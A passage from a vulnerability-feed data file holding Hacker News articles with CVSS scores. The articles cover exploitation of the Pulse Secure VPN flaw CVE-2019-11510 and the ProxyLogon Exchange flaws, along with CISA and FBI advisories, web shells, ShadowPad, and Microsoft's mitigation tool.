"id": "THN:3E9680853FA3A677106A8ED8B7AACBE6", "href": "https://thehackernews.com/2022/01/fbi-nsa-and-cisa-warns-of-russian.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:38:30", "description": "[](<https://thehackernews.com/images/-_SvUUuvh0ss/XpmKGXtsseI/AAAAAAAAAPI/SuMNxubahJUd3z_eE6vcjjgsuPoYjkdawCLcBGAsYHQ/s728-e100/pulse-secure-vpn-vulnerability-2.jpg>)\n\nThe United States Cybersecurity and Infrastructure Security Agency (CISA) yesterday issued a [fresh advisory](<https://www.us-cert.gov/ncas/alerts/aa20-107a>) alerting organizations to change all their Active Directory credentials as a defense against cyberattacks trying to leverage a known remote code execution (RCE) vulnerability in Pulse Secure VPN servers\u2014even if they have already patched it. \n \nThe warning comes three months after another [CISA alert](<https://www.us-cert.gov/ncas/alerts/aa20-010a>) urging users and administrators to [patch Pulse Secure VPN](<https://www.us-cert.gov/ncas/current-activity/2019/10/16/multiple-vulnerabilities-pulse-secure-vpn>) environments to thwart attacks exploiting the vulnerability. \n \n\"Threat actors who successfully exploited CVE-2019-11510 and stole a victim organization's credentials will still be able to access \u2014 and move laterally through \u2014 that organization's network after the organization has patched this vulnerability if the organization did not change those stolen credentials,\" CISA said. \n \nCISA has also [released a tool to help](<https://github.com/cisagov/check-your-pulse>) network administrators look for any indicators of compromise associated with the flaw. \n \n\n\n## A Remote Code Execution Flaw\n\n \nTracked as [CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>), the pre-authentication arbitrary file read vulnerability could allow remote unauthenticated attackers to compromise vulnerable VPN servers and gain access to all active users and their plain-text credentials, and execute arbitrary commands. \n \n\n\n[](<https://thehackernews.com/images/-9lA8I2RLHGU/XpmBkUgmolI/AAAAAAAA2qg/xhY8D8d5TDs7mVoKQo3kFZmB8fmEu1yvwCLcBGAsYHQ/s728-e100/pulse-secure-vpn-vulnerability.jpg>)\n\n \nThe flaw stems from the fact that [directory traversal](<https://devco.re/blog/2019/09/02/attacking-ssl-vpn-part-3-the-golden-Pulse-Secure-ssl-vpn-rce-chain-with-Twitter-as-case-study/>) is hard-coded to be allowed if a path contains \"dana/html5/acc,\" thus allowing an attacker to send specially crafted URLs to read sensitive files, such as \"/etc/passwd\" that contains information about each user on the system. \n \nTo address this issue, Pulse Secure released an [out-of-band patch](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/>) on April 24, 2019. \n \n[](<https://thehackernews.com/images/-JoiStCZj61c/XpmChlfPXpI/AAAAAAAAAO8/x_r1K3sIkukYxwR0UcxXPcNLaxvuDvrmQCLcBGAsYHQ/s728-e100/pulse-secure-vpn-vulnerability-1.jpg>) \n \nWhile on August 24, 2019, security intelligence firm Bad Packets was able to discover [14,528 unpatched](<https://badpackets.net/over-14500-pulse-secure-vpn-endpoints-vulnerable-to-cve-2019-11510/>) Pulse Secure servers, a subsequent scan as of last month yielded [2,099 vulnerable endpoints](<https://twitter.com/bad_packets/status/1242289478334427139>), indicating that a vast majority of organizations have patched their VPN gateways. \n \n\n\n## Unpatched VPN Servers Become Lucrative Target\n\n \nThe fact that there are still over thousands of unpatched Pulse Secure VPN servers has made them a lucrative target for bad actors to distribute malware. \n \nA report from ClearSky found Iranian state-sponsored [hackers using CVE-2019-11510](<https://thehackernews.com/2020/02/iranian-hackers-vpn-vulnerabilities.html>), among others, to penetrate and steal information from target IT and telecommunication companies across the world. \n \nAccording to an [NSA advisory](<https://media.defense.gov/2019/Oct/07/2002191601/-1/-1/0/CSA-MITIGATING-RECENT-VPN-VULNERABILITIES.PDF>) from October 2019, the \"exploit code is freely available online via the Metasploit framework, as well as GitHub. Malicious cyber actors are actively using this exploit code.\" \n \nIn a similar alert issued last year, the UK's National Cyber Security Centre ([NCSC](<https://www.ncsc.gov.uk/news/alert-vpn-vulnerabilities>)) warned that advanced threat groups are exploiting the vulnerability to target government, military, academic, business, and healthcare organizations. \n \nMore recently, [Travelex](<https://www.bbc.com/news/business-51017852>), the foreign currency exchange and travel insurance firm, became a victim after cybercriminals planted Sodinokibi (REvil) [ransomware](<https://doublepulsar.com/big-game-ransomware-being-delivered-to-organisations-via-pulse-secure-vpn-bd01b791aad9>) on the company's networks via the Pulse Secure vulnerability. Although the ransomware operators demanded a ransom of $6 million (\u00a34.6 million), a [Wall Street Journal](<https://www.wsj.com/articles/travelex-paid-hackers-multimillion-dollar-ransom-before-hitting-new-obstacles-11586440800>) report last week said it paid $2.3 million in the form of 285 Bitcoin to resolve its problem. \n \nIn the face of ongoing attacks, it's recommended that organizations upgrade their Pulse Secure VPN, reset their credentials, and scan for unauthenticated log requests and exploit attempts. \n \nCISA has also suggested removing any unapproved remote access programs and inspecting scheduled tasks for scripts or executables that may allow an attacker to connect to an environment. \n \nFor more steps to mitigate the flaw, head to [NSA's advisory here](<https://media.defense.gov/2019/Oct/07/2002191601/-1/-1/0/CSA-MITIGATING-RECENT-VPN-VULNERABILITIES.PDF>).\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2020-04-17T11:20:00", "type": "thn", "title": "CISA Warns Patched Pulse Secure VPNs Could Still Expose Organizations to Hackers", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510"], "modified": "2020-04-17T11:20:03", "id": "THN:46994B7A671ED65AD9975F25F514C6E3", "href": "https://thehackernews.com/2020/04/pulse-secure-vpn-vulnerability.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:39:04", "description": "[](<https://thehackernews.com/images/-LnAVswTXLc0/YECXmVTkFHI/AAAAAAAAB8M/VcsyTjTU0j85SwVjVTnc-hf3yFwUgogTgCLcBGAsYHQ/s0/cisa.jpg>)\n\nFollowing Microsoft's release of out-of-band patches to address multiple zero-day flaws in on-premises versions of Microsoft Exchange Server, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) has [issued](<https://cyber.dhs.gov/ed/21-02/>) an emergency directive warning of \"[active exploitation](<https://us-cert.cisa.gov/ncas/alerts/aa21-062a>)\" of the vulnerabilities.\n\nThe alert comes on the heels of Microsoft's [disclosure](<https://thehackernews.com/2021/03/urgent-4-actively-exploited-0-day-flaws.html>) that China-based hackers were exploiting unknown software bugs in Exchange server to steal sensitive data from select targets, marking the [second time in four months](<https://thehackernews.com/2020/12/us-agencies-and-fireeye-were-hacked.html>) that the U.S. has scrambled to address a widespread hacking campaign believed to be the work of foreign threat actors.\n\nWhile the company mainly attributed the campaign to a threat group called HAFNIUM, Slovakian cybersecurity firm ESET [said](<https://twitter.com/ESETresearch/status/1366862946488451088>) it found evidence of CVE-2021-26855 being actively exploited in the wild by several cyber espionage groups, including LuckyMouse, Tick, and Calypso targeting servers located in the U.S., Europe, Asia, and the Middle East.\n\n[](<https://thehackernews.com/images/-TmA9t5dn7V8/YECZLOHV3DI/AAAAAAAAB8U/oGFCJ8b-FuE0teg_Vh5Chc3yvuQ70JNdQCLcBGAsYHQ/s0/hacking.jpg>)\n\nResearchers at Huntress Labs have also sounded the alarm about mass exploitation of Exchange servers, noting that over 350 web shells have been discovered across approximately 2,000 vulnerable servers.\n\n\"Among the vulnerable servers, we also found over 350 web shells \u2014 some targets may have more than one web shell, potentially indicating automated deployment or multiple uncoordinated actors,\" Huntress senior security researcher John Hammond [said](<https://www.huntress.com/blog/rapid-response-mass-exploitation-of-on-prem-exchange-servers>). \"These endpoints do have antivirus or EDR solutions installed, but this has seemingly slipped past a majority of preventative security products.\"\n\nThe latest development indicates a much larger spread that extends beyond the \"limited and targeted\" attacks reported by Microsoft earlier this week.\n\nIt's not clear if any U.S. government agencies have been breached in the campaign, but the CISA directive underscores the urgency of the threat. \n\nStrongly urging organizations to apply the patches as soon as possible, the agency cited the \"likelihood of widespread exploitation of the vulnerabilities after public disclosure and the risk that federal government services to the American public could be degraded.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-04T08:26:00", "type": "thn", "title": "CISA Issues Emergency Directive on In-the-Wild Microsoft Exchange Flaws", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855"], "modified": "2021-03-05T06:35:30", "id": "THN:A73831555CB04403ED3302C1DDC239B1", "href": "https://thehackernews.com/2021/03/cisa-issues-emergency-directive-on-in.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:39:03", "description": "[](<https://thehackernews.com/images/-zhQ48QulMdk/YEoxFcQGtGI/AAAAAAAACA4/814m_r5DKVkVs6zM_Hl9_2EeOlHMeXvTgCLcBGAsYHQ/s0/proxylogon-poc-exploit.jpg>)\n\nThe U.S. Cybersecurity and Infrastructure Security Agency (CISA) and the Federal Bureau of Investigation (FBI) on Wednesday issued a joint advisory warning of active exploitation of vulnerabilities in Microsoft Exchange on-premises products by nation-state actors and cybercriminals.\n\n\"CISA and FBI assess that adversaries could exploit these vulnerabilities to compromise networks, steal information, encrypt data for ransom, or even execute a destructive attack,\" the agencies [said](<https://us-cert.cisa.gov/ncas/current-activity/2021/03/10/fbi-cisa-joint-advisory-compromise-microsoft-exchange-server>). \"Adversaries may also sell access to compromised networks on the dark web.\"\n\nThe attacks have primarily targeted local governments, academic institutions, non-governmental organizations, and business entities in various industry sectors, including agriculture, biotechnology, aerospace, defense, legal services, power utilities, and pharmaceutical, which the agencies say are in line with previous activity conducted by Chinese cyber actors.\n\nTens of thousands of entities, including the [European Banking Authority](<https://thehackernews.com/2021/03/microsoft-exchange-hackers-also.html>) and the [Norwegian Parliament](<https://www.reuters.com/article/us-norway-cyber/norway-parliament-sustains-fresh-cyber-attack-idUSKBN2B21TX>), are believed to have been breached to install a web-based backdoor called the [China Chopper web shell](<https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-china-chopper.pdf>) that grants the attackers the ability to plunder email inboxes and remotely access the target systems.\n\nThe development comes in light of the [rapid expansion](<https://thehackernews.com/2021/03/microsoft-exchange-cyber-attack-what-do.html>) of attacks aimed at vulnerable Exchange Servers, with multiple threat actors exploiting the vulnerabilities as early as February 27 before they were eventually patched by Microsoft last week, swiftly turning what was labeled as \"limited and targeted\" into an indiscriminate mass exploitation campaign.\n\nWhile there is no concrete explanation for the widespread exploitation by so many different groups, speculations are that the adversaries shared or sold exploit code, resulting in other groups being able to abuse these vulnerabilities, or that the groups obtained the exploit from a common seller.\n\n### From RCE to Web Shells to Implants\n\nOn March 2, 2021, [Volexity](<https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/>) publicly disclosed the detection of [multiple zero-day exploits](<https://thehackernews.com/2021/03/urgent-4-actively-exploited-0-day-flaws.html>) used to target flaws in on-premises versions of Microsoft Exchange Servers, while pegging the earliest in-the-wild exploitation activity on January 3, 2021.\n\n[](<https://thehackernews.com/images/-5BlLSFX3zpg/YEosmvOx0eI/AAAAAAAACAo/nZ_vd-Gp5t0YKLVuZ3PO1-zu6tpT_hqRQCLcBGAsYHQ/s0/poc.jpg>)\n\nSuccessful weaponization of these flaws, called ProxyLogon, allows an attacker to access victims' Exchange Servers, enabling them to gain persistent system access and control of an enterprise network.\n\nAlthough Microsoft initially pinned the intrusions on Hafnium, a threat group that's assessed to be state-sponsored and operating out of China, Slovakian cybersecurity firm ESET on Wednesday [said](<https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/>) it identified no fewer than 10 different threat actors that likely took advantage of the remote code execution flaws to install malicious implants on victims' email servers.\n\nApart from Hafnium, the five groups detected as exploiting the vulnerabilities prior to the patch release are Tick, LuckyMouse, Calypso, Websiic, and Winnti (aka APT41 or Barium), with five others (Tonto Team, ShadowPad, \"Opera\" Cobalt Strike, Mikroceen, and DLTMiner) scanning and compromising Exchange servers in the days immediately following the release of the fixes.\n\nNo conclusive evidence has emerged so far connecting the campaign to China, but DomainTools' Senior Security Researcher Joe Slowik [noted](<https://www.domaintools.com/resources/blog/examining-exchange-exploitation-and-its-lessons-for-defenders>) that several of the aforementioned groups have been formerly linked to China-sponsored activity, including Tick, LuckyMouse, Calypso, Tonto Team, Mikroceen, and the Winnti Group, indicating that Chinese entities other than Hafnium are tied to the Exchange exploitation activity.\n\n\"It seems clear that there are numerous clusters of groups leveraging these vulnerabilities, the groups are using mass scanning or services that allow them to independently target the same systems, and finally there are multiple variations of the code being dropped, which may be indicative of iterations to the attack,\" Palo Alto Networks' Unit 42 threat intelligence team [said](<https://unit42.paloaltonetworks.com/china-chopper-webshell/>).\n\nIn one cluster tracked as \"[Sapphire Pigeon](<https://redcanary.com/blog/microsoft-exchange-attacks/#clusters>)\" by researchers from U.S.-based Red Canary, attackers dropped multiple web shells on some victims at different times, some of which were deployed days before they conducted follow-on activity.\n\nAccording to ESET's telemetry analysis, more than 5,000 email servers belonging to businesses and governments from over 115 countries are said to have been affected by malicious activity related to the incident. For its part, the Dutch Institute for Vulnerability Disclosure (DIVD) [reported](<https://csirt.divd.nl/2021/03/08/Exchange-vulnerabilities-update/>) Tuesday that it found 46,000 servers out of 260,000 globally that were unpatched against the heavily exploited ProxyLogon vulnerabilities.\n\n[](<https://thehackernews.com/images/-f2zgTwFBKWw/YEos7G5zJ-I/AAAAAAAACAw/m0hGtK4suCkDQoGBl9drBf63JXBQA7YfQCLcBGAsYHQ/s0/cyberattack-timeline.jpg>)\n\nTroublingly, evidence points to the fact that the deployment of the web shells ramped up following the availability of the patch on March 2, raising the possibility that additional entities have opportunistically jumped in to create exploits by reverse engineering Microsoft updates as part of multiple, independent campaigns.\n\n\"The day after the release of the patches, we started to observe many more threat actors scanning and compromising Exchange servers en masse,\" said ESET researcher Matthieu Faou. \"Interestingly, all of them are APT groups focused on espionage, except one outlier that seems related to a known coin-mining campaign (DLTminer). It is still unclear how the distribution of the exploit happened, but it is inevitable that more and more threat actors, including ransomware operators, will have access to it sooner or later.\"\n\nAside from installing the web shell, other behaviors related to or inspired by Hafnium activity include [conducting reconnaissance](<https://discuss.elastic.co/t/detection-and-response-for-hafnium-activity/266289/3>) in victim environments by deploying batch scripts that automate several functions such as account enumeration, credential-harvesting, and network discovery.\n\n### Public Proof-of-Concept Available\n\nComplicating the situation further is the availability of what appears to be the first functional public proof-of-concept (PoC) exploit for the ProxyLogon flaws despite Microsoft's attempts to take down exploits published on GitHub over the past few days.\n\n[](<https://thehackernews.com/images/-jZ4Km1P3Jic/YEoruswQHKI/AAAAAAAACAg/3mKbCQaUVkA1x98uEBtKA4hueS2e9ZqRgCLcBGAsYHQ/s0/proxylogon-exploit.jpg>)\n\n\"I've confirmed there is a public PoC floating around for the full RCE exploit chain,\" security researcher Marcus Hutchins [said](<https://twitter.com/MalwareTechBlog/status/1369729825104007169>). \"It has a couple bugs but with some fixes I was able to get shell on my test box.\"\n\nAlso accompanying the PoC's release is a detailed [technical write-up](<https://www.praetorian.com/blog/reproducing-proxylogon-exploit/>) by Praetorian researchers, who reverse-engineered CVE-2021-26855 to build a fully functioning end-to-end exploit by identifying differences between the vulnerable and patched versions.\n\nWhile the researchers deliberately decided to omit critical PoC components, the development has also raised concerns that the technical information could further accelerate the development of a working exploit, in turn triggering even more threat actors to launch their own attacks.\n\nAs the sprawling hack's timeline slowly crystallizes, what's clear is that the surge of breaches against Exchange Server appears to have happened in two phases, with Hafnium using the chain of vulnerabilities to stealthily attack targets in a limited fashion, before other hackers began driving the frenzied scanning activity starting February 27.\n\nCybersecurity journalist Brian Krebs [attributed](<https://krebsonsecurity.com/2021/03/warning-the-world-of-a-ticking-time-bomb/>) this to the prospect that \"different cybercriminal groups somehow learned of Microsoft's plans to ship fixes for the Exchange flaws a week earlier than they'd hoped.\"\n\n\"The best advice to mitigate the vulnerabilities disclosed by Microsoft is to apply the relevant patches,\" Slowik [said](<https://www.domaintools.com/resources/blog/examining-exchange-exploitation-and-its-lessons-for-defenders>). \"However, given the speed in which adversaries weaponized these vulnerabilities and the extensive period of time pre-disclosure when these were actively exploited, many organizations will likely need to shift into response and remediation activities to counter existing intrusions.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-11T15:04:00", "type": "thn", "title": "ProxyLogon PoC Exploit Released; Likely to Fuel More Disruptive Cyber Attacks", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855"], "modified": "2021-03-15T08:52:31", "id": "THN:ABF9BC598B143E7226083FE7D2952CAE", "href": "https://thehackernews.com/2021/03/proxylogon-exchange-poc-exploit.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:39:02", "description": "[](<https://thehackernews.com/images/-jpxSsQOpxfA/YFBKGEa4SeI/AAAAAAAACCU/KSoqbip59LE-7trSUlqLbRehavtGqXdwwCLcBGAsYHQ/s0/microsoft-azure-hacking-1.jpg>)\n\nMicrosoft on Monday released a one-click mitigation software that applies all the necessary countermeasures to secure vulnerable environments against the ongoing widespread [ProxyLogon Exchange Server](<https://thehackernews.com/2021/03/microsoft-exchange-cyber-attack-what-do.html>) cyberattacks.\n\nCalled Exchange On-premises Mitigation Tool ([EOMT](<https://github.com/microsoft/CSS-Exchange/tree/main/Security#exchange-on-premises-mitigation-tool-eomt>)), the PowerShell-based script serves to mitigate against current known attacks using CVE-2021-26855, scan the Exchange Server using the [Microsoft Safety Scanner](<https://docs.microsoft.com/en-us/windows/security/threat-protection/intelligence/safety-scanner-download>) for any deployed web shells, and attempt to remediate the detected compromises.\n\n\"This new tool is designed as an interim mitigation for customers who are unfamiliar with the patch/update process or who have not yet applied the on-premises Exchange security update,\" Microsoft [said](<https://msrc-blog.microsoft.com/2021/03/15/one-click-microsoft-exchange-on-premises-mitigation-tool-march-2021/>).\n\nThe development comes in the wake of indiscriminate attacks against unpatched Exchange Servers across the world by more than ten advanced persistent threat actors \u2014 most of the government-backed cyberespionage groups \u2014 to plant backdoors, coin miners, and [ransomware](<https://thehackernews.com/2021/03/icrosoft-exchange-ransomware.html>), with the release of [proof-of-concept](<https://thehackernews.com/2021/03/proxylogon-exchange-poc-exploit.html>) (PoC) fueling the hacking spree even further.\n\nBased on telemetry from [RiskIQ](<https://www.riskiq.com/blog/external-threat-management/microsoft-exchange-server-landscape/>), 317,269 out of 400,000 on-premises Exchange Servers globally have been patched as of March 12, with the U.S., Germany, Great Britain, France, and Italy leading the countries with vulnerable servers. \n\nAdditionally, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) has [updated](<https://us-cert.cisa.gov/ncas/alerts/aa21-062a>) its guidance to detail as many as seven variants of the [China Chopper](<https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-china-chopper.pdf>) web shell that are being leveraged by malicious actors. \n\n[](<https://thehackernews.com/images/-KZiEV9wW7ew/YFBKIQY5ALI/AAAAAAAACCY/O_PgoFnkilgx5kMQCGC_LSY6EhsjeHPigCLcBGAsYHQ/s0/microsoft-exchange-security.jpg>)\n\nTaking up just four kilobytes, the web shell has been a popular [post-exploitation tool](<https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/hafnium-china-chopper-and-aspnet-runtime/>) of choice for cyber attackers for nearly a decade.\n\nWhile the breadth of the intrusions is being assessed, Microsoft is also reportedly investigating how the \"limited and targeted\" attacks it detected in early January picked up steam to quickly morph into a widespread mass exploitation campaign, forcing it to release the security fixes a week before it was due.\n\nThe Wall Street Journal on Friday [reported](<https://www.wsj.com/articles/microsoft-probing-whether-leak-played-role-in-suspected-chinese-hack-11615575793>) that investigators are focused on whether a Microsoft partner, with whom the company shared information about the vulnerabilities through its Microsoft Active Protections Program ([MAPP](<https://www.microsoft.com/en-us/msrc/mapp>)), either accidentally or purposefully leaked it to other groups.\n\nIt is also being claimed that some tools used in the \"second wave\" of attacks towards the end of February are similar to proof-of-concept attack code that Microsoft shared with antivirus companies and other security partners on February 23, raising the possibility that threat actors may have gotten their hands on private disclosure that Microsoft shared with its security partners.\n\nThe other theory is that the threat actors independently discovered the same set of vulnerabilities, which were then exploited to stealthily conduct reconnaissance of target networks and steal mailboxes, before ramping up the attacks once the hackers figured out Microsoft was readying a patch.\n\n\"This is the [second time](<https://thehackernews.com/2021/03/researchers-find-3-new-malware-strains.html>) in the last four months that nation-state actors have engaged in cyberattacks with the potential to affect businesses and organizations of all sizes,\" Microsoft [said](<https://www.microsoft.com/security/blog/2021/03/12/protecting-on-premises-exchange-servers-against-recent-attacks/>). \"While this began as a nation-state attack, the vulnerabilities are being exploited by other criminal organizations, including new ransomware attacks, with the potential for other malicious activities.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-16T06:06:00", "type": "thn", "title": "Use This One-Click Mitigation Tool from Microsoft to Prevent Exchange Attacks", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855"], "modified": "2021-03-16T10:01:21", "id": "THN:814DFC4A310E0C39823F3110B0457F8C", "href": "https://thehackernews.com/2021/03/use-this-one-click-mitigation-tool-from.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-06-29T03:57:39", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEi1PBy6f30rb04dAbZTbbnNt_W5SsZO3lhS31ENdnsfmrEYox9AZqd9kkYEBWsIV7uSrZP9dAtk2CeSdHT11tl2O5v7j6aazExHwKgOa9cUjnDFSksGKSSYBaP63LbQXnlo9FAJRw0Bswxnf-qcDJqylBF-wVoy4-FvQFO7TgmdBsXrkgBd8kpl5jet/s728-e100/ics.jpg>)\n\nEntities located in Afghanistan, Malaysia, and Pakistan are in the crosshairs of an attack campaign that targets unpatched Microsoft Exchange Servers as an initial access vector to deploy the ShadowPad malware.\n\nRussian cybersecurity firm Kaspersky, which first detected the activity in mid-October 2021, [attributed](<https://ics-cert.kaspersky.com/publications/reports/2022/06/27/attacks-on-industrial-control-systems-using-shadowpad/>) it to a previously unknown Chinese-speaking threat actor. Targets include organizations in the telecommunications, manufacturing, and transport sectors.\n\n\"During the initial attacks, the group exploited an MS Exchange vulnerability to deploy ShadowPad malware and infiltrated [building automation systems](<https://en.wikipedia.org/wiki/Building_automation>) of one of the victims,\" the company said. \"By taking control over those systems, the attacker can reach other, even more sensitive systems of the attacked organization.\"\n\n[ShadowPad](<https://thehackernews.com/2022/06/state-backed-hackers-using-ransomware.html>), which emerged in 2015 as the successor to PlugX, is a privately sold modular malware platform that has been put to use by many Chinese espionage actors over the years. \n\nWhile its design allows users to remotely deploy additional plugins that can extend its functionality beyond covert data collection, what makes ShadowPad dangerous is the anti-forensic and anti-analysis techniques incorporated into the malware.\n\n\"During the attacks of the observed actor, the ShadowPad backdoor was downloaded onto the attacked computers under the guise of legitimate software,\" Kaspersky said. \"In many cases, the attacking group exploited a known vulnerability in MS Exchange, and entered the commands manually, indicating the highly targeted nature of their campaigns.\"\n\nEvidence suggests that intrusions mounted by the adversary began in March 2021, right around the time the [ProxyLogon vulnerabilities](<https://thehackernews.com/2021/03/urgent-4-actively-exploited-0-day-flaws.html>) in Exchange Servers became public knowledge. Some of the targets are said to have been breached by exploiting [CVE-2021-26855](<https://thehackernews.com/2021/03/microsoft-exchange-cyber-attack-what-do.html>), a server-side request forgery (SSRF) vulnerability in the mail server.\n\nBesides deploying ShadowPad as \"mscoree.dll,\" an authentic Microsoft .NET Framework component, the attacks also involved the use of Cobalt Strike, a PlugX variant called [THOR](<https://thehackernews.com/2021/07/chinese-hackers-implant-plugx-variant.html>), and web shells for remote access.\n\nAlthough the final goals of the campaign remain unknown, the attackers are believed to be interested in long-term intelligence gathering.\n\n\"Building automation systems are rare targets for advanced threat actors,\" Kaspersky ICS CERT researcher Kirill Kruglov said. \"However, those systems can be a valuable source of highly confidential information and may provide the attackers with a backdoor to other, more secured, areas of infrastructures.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-06-28T11:30:00", "type": "thn", "title": "APT Hackers Targeting Industrial Control Systems with ShadowPad Backdoor", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, 